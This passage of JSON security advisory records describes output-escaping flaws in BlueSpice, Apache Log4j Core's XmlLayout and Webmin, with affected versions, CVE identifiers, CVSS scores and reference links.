  "details": "Improper Encoding or Escaping of Output vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceAvatars) allows Cross-Site Scripting (XSS).\nThis issue affects BlueSpice: from 5 through 5.1.1.",
  "id": "GHSA-3p8r-f28v-66f3",
  "modified": "2025-09-22T18:30:34Z",
  "published": "2025-09-19T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48007"
    },
    {
      "type": "WEB",
      "url": "https://en.wiki.bluespice.com/wiki/Security:Security_Advisories/BSSA-2025-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0-alpha1"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:16:41Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Apache Log4j Core\u0027s [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters.\n\nThe impact depends on the StAX implementation in use:\n\n  *  **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.\n  *  **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j\u0027s internal status logger.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.",
  "id": "GHSA-3pxv-7cmr-fjr4",
  "modified": "2026-04-13T23:57:22Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/5x0hcnng0chhghp6jgjdp3qmbbhfjzhb"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-36446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-25T06:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "software/apt-lib.pl in Webmin before 1.997 lacks HTML escaping for a UI command.",
  "id": "GHSA-3q8j-9w3h-v6p5",
  "modified": "2022-08-01T00:00:55Z",
  "published": "2022-07-26T00:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webmin/webmin/commit/13f7bf9621a82d93f1e9dbd838d1e22020221bde"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/emirpolatt/cf19d6c0128fa3e25ebb47e09243919b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webmin/webmin/compare/1.996...1.997"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50998"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/168049/Webmin-Package-Updates-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}